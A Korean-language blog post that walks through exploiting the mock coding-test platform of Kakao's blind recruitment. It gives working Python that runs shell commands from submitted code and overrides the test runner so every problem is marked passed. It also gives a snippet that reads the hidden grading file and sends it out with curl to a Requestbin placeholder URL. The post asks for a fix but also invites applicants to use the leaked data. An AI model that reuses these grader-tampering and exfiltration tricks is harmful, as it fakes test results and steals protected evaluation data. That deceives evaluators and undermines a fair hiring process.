카카오 블라인드 공채 해킹하기

역시 제목은 자극적으로 적어야 제맛(?)

어제 코딩테스트 1차 문제 해설 링크를 보고서 알게 되었는데, 카카오가 카카오 블라인드 공채를 진행하고 있더군요. 문제도 재밌고 잘 진행되고 있는 것 같습니다. 모의테스트에 가보면 실제 참여 전에 플랫폼을 테스트 해볼 수 있더군요.

헌데, 궁금해서 좀 구경해봤더니 플랫폼 쪽에 약간 취약한 부분이 있네요. 약간의 코드로 답을 돌아서 모든 문제를 정답 처리 한다거나, 채점용 문제 데이터를 추출할 수가 있었습니다.

결과 공유

글은 역시 두괄식이라고 배웠습니다. 결론부터 적어보겠습니다. 참, 이 글의 제목에 독자 좀 홀려보겠다고 해킹이라는 자극적인 단어를 썼지만, 그렇게 거창한 내용은 아닙니다.

모든 문제를 정답 처리

Bypass testing

아래 코드는 출제된 모든 문제를 로직에 상관 없이 정답처리 합니다. 단, solution 함수의 파라미터나 리턴 타입은 문제에 따라 달라질 수 있습니다.

# Bypass testing
import unittest  
import json  
import sys

class MyTestRunner(object):  
    def __init__(self, stream=sys.stderr):
        self.stream = unittest.runner._WritelnDecorator(stream)

    def run(self, test):
        self.stream.write(json.dumps({
            'passed': True,
            'runTime': 0.00001,
            'tests': [],
        }))

def solution(n):  
    return 0
문제의 채점용 데이터 추출

Extract data result

아래 코드는 문제의 채점용 코드를 Requestbin 으로 보내서 기록합니다. 해당 링크로 가서 채점용 데이터를 확인할 수 있습니다. 실행 전에 Requestbin 에서 Bin 을 하나 생성한뒤 URL 부분을 대체합니다.

# Extract testing data
import os

def solution(n):  
    testSrc = os.popen("cat ../src/solution_test.py").read()
    os.system("curl -X POST https://requestb.in/YOUR_CODE_HERE -d src='" + testSrc + "'")
    return 0

문제 풀이

어떻게 알 수 있었는지 적어보겠습니다.

shell command 실행 가능할까?

언어들은 os를 활용하기 위해 여러 방법들을 제공하는데요, python의 경우 os.system, os.popen 메소드 들이 있더군요. (참고로 저는 python 사용자가 아닙니다.) 이 메소드들이 막혀있을 것이라고 생각했는데, 실행해보니 실행이 되더군요.

Hi There!

어라? 그럼 파일 시스템 접근도 가능한가?

shell command 가 실행되고나니 코딩 테스트가 어떻게 돌아가나 궁금하더군요. 별 거 없이 그냥 "내 상위 폴더 안쪽에 어떤 파일들이 있는지 보여줘!"(ls -R ..)을 때려봤습니다.

File list

어라, 이것도 되네?

테스트는 어떻게 돌아가지?

파일들을 좀 살펴보니 ../frameworks/python/unittestrunner.py 라는 파일과 ../src/solution_test.py 라는 파일이 눈에 띄네요. 읽어볼까요?

Read Source

오예! 소스를 얻었습니다. 가볍게 읽어보니 solution_test.py 에서 unittestrunner 와 참여자가 작성한 solution 을 불러들여서 테스트를 진행하는 것 같네요. solution_test.py에 테스트 값이 박혀있는 것을 보니, 채점 데이터에 맞게 해당 파일을 생성하는 것 같습니다.

노력 없이 만점을 받아볼까?

solution_test.py 에서 보면 unittestrunner 에서 정의한 MyTestRunner 를 사용해서 테스트를 진행하네요.

# solution_test.py
if __name__ == '__main__':  
    suite = unittest.TestLoader().loadTestsFromTestCase(MyTest)
    MyTestRunner(stream=open('result.json', 'w')).run(suite)

MyTestRunnerrun 메소드를 살펴보니 solution_test.py에 정의되어 있는 MyTest를 받아서 수행하는 시간을 계산하고 결과를 적습니다.

# unittestrunner.py
class MyTestResult(unittest.result.TestResult):  
    # ...
    def toJSON(self):
        return json.dumps({
            'passed': self.passed,
            'runTime': self.runTime,
            'tests': self.tests,
        })

class MyTestRunner(object):  
    # ...
    def run(self, test):
        result = self._makeResult()
        start_time = time.time()
        test(result)
        result.runTime = (time.time() - start_time) * 1000000
        self.stream.write(result.toJSON())

근데 보니까 solution 을 불러오는 부분이 unittestrunner 보다 뒤쪽이군요? 이거 혹시 클래스를 덮어쓸 수 있을까요? unittestrunner 코드를 복사해서 solution에 붙여넣고 중간에 문자열 하나만 출력해봅시다.

Override

와우 되네요! 이제 어떻게 할까요? 그냥 모두 다 정답이라고 일말의 고민 없이 적어서 내면 되지 않을까요?

Bypass testing

되네요, 성공입니다! 어떤 문제건 상관없이 정답으로 만들어버리는 소스코드가 만들어졌습니다. 아싸 축하합시다!

채점 데이터를 추출해볼까?

어차피 이런 코드 제출했다가는 금세 들통나서 짤리기 마련입니다. 문제를 풀기는 풀어야겠고, 테스트 데이터 말고 채점 데이터가 있으면 좀 더 쉽게 예외처리를 할 수 있을 것 같은데, 어떻게 알 수 없을까요?

아, 테스트 코드를 출력하면 알 수 있잖아요? solution_test.py 를 출력하는 것은 아까 해봤으니, 이걸로 코드 채점 눌러볼까요?

Try printing test

으흠 아쉽게도 테스트가 아니라 채점하는 시점에는 로그를 출력해주지 않네요. 으흠. 음. 그럼 로그 말고 해당 결과를 기록할 수는 없을까요? 이거 테스트 하는 동안 코드가 외부에 접속을 할 수 있을까요, 없을까요?

Requestbin 은 딱 이럴 때 쓰라고 만들어 놓았나봅니다. 간단히 서비스 설명을 해보면, Requestbin은 개발 도중 API 호출 로그 등을 쉽게 보기 위해 url을 만들어주고 network request log를 기록해서 보여주는 서비스입니다.

Requestbin 에 Bin 을 하나 만들고, 간단히 요청을 날려볼까요?

Network Reqest Network Request result

역시 됩니다! 만세! 신납니다!

이제 남은 할 일은 하나. 채점 소스코드를 쏴봅시다. Extract data code

채점은 여전히 실패하지만,

Extract data result

채점 문제 코드가 기록에 남습니다! 로그가 이렇게나 중요합니다 여러분.

정리

살펴보니 플랫폼은 카카오에서 개발한 것은 아닌 것 같더군요. 어차피 이렇게 꼼수 부려봐도 채용에 관한 최종 결과는 사람이 직접 살펴볼 것이고, 왠만한 꼼수는 아마 다 걸릴 것입니다. 어쩌면 실제 채용 문제 채점 시에는 네트워크도 막히고 뭐 여러가지 추가적인 제약이 있을 수도 있습니다. 이 부분은 제가 지원자가 아니어서 모르겠네요.

채용 방식도 재미있고 오랜만에 학교 과제 꼼수 부려보던 기억도 나서 대충 끄적여본 내용입니다. 이 글이 혹시 관계자 분께 도달된다면 가볍게 웃고 넘긴다음 가볍게 고쳐주시길 부탁드립니다. 도달 못한다면? 채점 데이터가 있으면 아무래도 좀 디버깅이 편할테니 지원자 여러분은 가볍게 웃으며 가볍게 활용해주세요.

아무도 안 읽는다면?
그냥 저만 좀 울겠지요.